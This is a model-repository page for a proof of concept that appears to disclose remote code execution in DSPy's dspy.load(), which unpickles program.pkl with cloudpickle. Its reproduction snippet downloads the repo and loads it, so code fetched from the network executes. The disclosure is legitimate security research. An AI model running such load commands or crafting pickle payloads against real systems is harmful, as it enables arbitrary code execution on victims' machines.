Downloads · 30 days
0
dspy-cloudpickle-poc
th3-j0k3r/dspy-cloudpickle-poc
dspy-cloudpickle-poc is a machine learning model from th3-j0k3r. Use it for the machine learning task on the model card, and read the license before you ship it in a product. The card lists the license as mit.
Security research PoC for huntr submission.
Access
Public
Updated Jun 27, 2026
Repo size
136 B
Likes
0
Public
Repo makeup
Click a slice to open those files.
Other1.5 KB · 63%
At a glance
- License
- mit
- Access
- Public
- Created
- Jun 27, 2026
- Updated
- Jun 27, 2026
- SHA
- b5b25ce3
Model card
From the Hugging Face model README
DSPy cloudpickle.load() RCE PoC
Security research PoC for huntr submission.
Vulnerability: dspy.load() in dspy/utils/saving.py:23 loads program.pkl with
cloudpickle.load() (= unrestricted pickle.load). No weights_only, no restrictions.
Any __reduce__-based payload in program.pkl executes at load time.
Affected version: dspy-ai 2.6.27 (latest)
Reproduction
pip install dspy-ai
python3 -c "
import dspy
from huggingface_hub import snapshot_download
path = snapshot_download('th3-j0k3r/dspy-cloudpickle-poc')
dspy.load(path)
print(open('/tmp/dspy_rce_hf.txt').read())
"
- License
- mit
- Created
- Jun 27, 2026
- Updated
- Jun 27, 2026